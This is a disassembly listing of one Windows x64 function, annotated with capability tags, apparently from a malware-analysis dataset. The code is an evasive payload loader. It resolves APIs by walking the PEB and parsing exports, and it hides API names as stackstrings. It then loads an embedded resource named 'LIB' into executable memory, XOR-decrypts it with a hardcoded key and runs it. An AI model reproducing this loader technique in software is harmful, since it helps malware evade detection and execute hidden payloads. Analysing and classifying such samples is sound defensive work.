Function at 0x1400bf140
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1f]
sub rsp, 0xe8
mov rax, qword gs:[0x30]
xor r13d, r13d
mov r12d, r13d
mov qword [rbp + 0x6f], r13
mov r10d, r13d
mov rcx, qword [rax + 0x60]
mov rax, qword [rcx + 0x18]
mov rcx, qword [rax + 0x10]
mov rdx, qword [rcx]
mov rax, qword [rdx]
mov r15, qword [rax + 0x30]
mov rax, qword [rdx + 0x30]
mov qword [rbp - 1], rax
mov qword [rbp + 7], r15
movsxd rax, dword [r15 + 0x3c]
mov ecx, dword [rax + r15 + 0x88]
add rcx, r15
mov r9d, dword [rcx + 0x18]
mov dword [rbp + 0x67], r9d
mov eax, dword [rcx + 0x20]
mov esi, dword [rcx + 0x1c]
add rax, r15
mov qword [rsp + 0x30], rax
add rsi, r15
mov edx, dword [rcx + 0x14]
mov r14d, dword [rcx + 0x24]
add r14, r15
mov qword [rsp + 0x20], rdx
mov qword [rbp + 0x7f], r14
test rdx, rdx
je 0x1400bf2b3
cmp dword [rsi + r10*4], r13d
je 0x1400bf2a7
mov ecx, r9d
mov r9, r13
test rcx, rcx
je 0x1400bf2a3
mov edx, dword [rbp + 0x67]
movzx ecx, word [r14 + r9*2]
mov qword [rbp + 0x77], rcx
cmp rcx, r10
jne 0x1400bf290
mov r11d, dword [rax + r9*4]
lea rcx, [rsp + 0x40]
add r11, r15
mov dword [rsp + 0x40], 0x50746547
or r8, 0xffffffffffffffff
mov dword [rsp + 0x44], 0x41636f72
mov dword [rsp + 0x48], 0x65726464
mov word [rbp - 0x7d], 0x7373
mov byte [rbp - 0x7b], r13b
inc r8
cmp byte [rcx + r8], r13b
jne 0x1400bf235
mov edi, r13d
mov rbx, r13
test r8, r8
je 0x1400bf290
mov r14, qword [rbp + 0x77]
lea rax, [rsp + 0x40]
sub r11, rax
lea edx, [rdi + 1]
lea rax, [rsp + 0x40]
add rax, rbx
mov cl, byte [rax + r11]
cmp cl, byte [rax]
cmovne edx, edi
movsxd rdi, edx
cmp rdi, r8
jne 0x1400bf278
mov r12d, dword [rsi + r14*4]
add r12, r15
inc rbx
cmp rbx, r8
jb 0x1400bf255
mov r14, qword [rbp + 0x7f]
mov rax, qword [rsp + 0x30]
mov edx, dword [rbp + 0x67]
mov qword [rbp + 0x6f], r12
inc r9
mov ecx, edx
cmp r9, rcx
jb 0x1400bf1f1
mov rdx, qword [rsp + 0x20]
mov r9d, dword [rbp + 0x67]
inc r10
cmp r10, rdx
jb 0x1400bf1d5
movdqa xmm0, xmmword [0x1400c0140]
lea rdx, [rsp + 0x30]
mov rcx, r15
mov dword [rsp + 0x30], 0x64616f4c
movdqu xmmword [rbp - 0x19], xmm0
mov dword [rsp + 0x34], 0x7262694c
mov dword [rsp + 0x38], 0x41797261
mov byte [rsp + 0x3c], r13b
mov dword [rbp - 0x49], 0x646e6946
mov dword [rbp - 0x45], 0x6f736552
mov dword [rbp - 0x41], 0x65637275
mov word [rbp - 0x3d], 0x41
mov dword [rbp - 0x79], 0x64616f4c
mov dword [rbp - 0x75], 0x6f736552
mov dword [rbp - 0x71], 0x65637275
mov byte [rbp - 0x6d], r13b
mov dword [rbp - 0x29], 0x657a6953
mov dword [rbp - 0x25], 0x6552666f
mov dword [rbp - 0x21], 0x72756f73
mov word [rbp - 0x1d], 0x6563
mov byte [rbp - 0x1b], r13b
mov dword [rbp - 0x69], 0x6b636f4c
mov dword [rbp - 0x65], 0x6f736552
mov dword [rbp - 0x61], 0x65637275
mov byte [rbp - 0x5d], r13b
mov dword [rbp - 0x59], 0x74726956
mov dword [rbp - 0x55], 0x416c6175
mov dword [rbp - 0x51], 0x636f6c6c
mov byte [rbp - 0x4d], r13b
mov dword [rbp - 0x39], 0x4d6c7452
mov dword [rbp - 0x35], 0x4d65766f
mov dword [rbp - 0x31], 0x726f6d65
mov word [rbp - 0x2d], 0x79
mov dword [rbp + 0x67], 0x42494c
mov dword [rsp + 0x20], 0x61647361
mov dword [rsp + 0x24], 0x30326473
mov word [rsp + 0x28], 0x3432
mov byte [rsp + 0x2a], r13b
mov word [rbp - 9], 0x4165
mov byte [rbp - 7], r13b
call r12
lea rdx, [rbp - 0x49]
mov rcx, r15
call r12
lea rdx, [rbp - 0x79]
mov rcx, r15
mov rbx, rax
call r12
lea rdx, [rbp - 0x29]
mov rcx, r15
mov rdi, rax
call r12
lea rdx, [rbp - 0x69]
mov rcx, r15
mov r14, rax
call r12
lea rdx, [rbp - 0x59]
mov rcx, r15
mov rsi, rax
call r12
mov rcx, qword [rbp - 1]
lea rdx, [rbp - 0x39]
mov r15, rax
call r12
mov rcx, qword [rbp + 7]
lea rdx, [rbp - 0x19]
mov r12, rax
call qword [rbp + 0x6f]
mov r8d, 0xa
lea rdx, [rbp + 0x67]
xor ecx, ecx
call rbx
mov rdx, rax
xor ecx, ecx
mov rbx, rax
call rdi
mov rdx, rbx
xor ecx, ecx
mov rdi, rax
call r14
mov r14d, eax
mov rcx, rdi
call rsi
mov r9d, 0x40
mov r8d, 0x3000
mov edx, r14d
xor ecx, ecx
mov rdi, rax
call r15
mov r8d, r14d
mov rdx, rdi
mov rcx, rax
mov rsi, rax
call r12
test r14d, r14d
jle 0x1400bf491
mov r8, rsi
mov eax, 0xcccccccd
mul r13d
mov eax, r13d
inc r13d
shr edx, 3
lea ecx, [rdx + rdx*4]
add ecx, ecx
sub eax, ecx
cdqe
mov cl, byte [rsp + rax + 0x20]
xor byte [r8], cl
inc r8
cmp r13d, r14d
jl 0x1400bf468
call rsi
add rsp, 0xe8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret